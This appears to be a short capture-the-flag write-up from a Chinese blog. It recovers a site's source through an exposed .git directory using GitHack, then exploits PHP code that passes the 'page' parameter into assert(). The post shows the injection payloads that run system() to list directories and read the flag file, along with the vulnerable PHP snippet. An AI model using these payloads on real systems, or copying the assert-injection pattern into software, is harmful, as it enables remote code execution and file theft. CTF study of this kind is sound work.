?page=abc') or system("cat templates/flag.php");//
|
git工具:https://github.com/lijiejie/GitHack
isset:返回值为布尔类型,变量不存在,或变量存在且其值为NULL,或多个变量时,一项不符则为 FALSE. assert:把整个字符串参数当php代码执行,(直接传递普通的代码是无法执行的) file_exists:判断目录或者文件是否存在,返回布尔型. strpos:判断字符出现的位置,返回数字 |
python GitHack.py -u "http://111.198.29.45:32481/.git/"
|
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?> |
?page=abc') or system("ls");//
|
?page=abc') or system("cd /templates;ls");//
|
?page=abc') or system("cat templates/flag.php");//
|
本文出自 小俊博客,转载时请注明出处及相应链接。
发表评论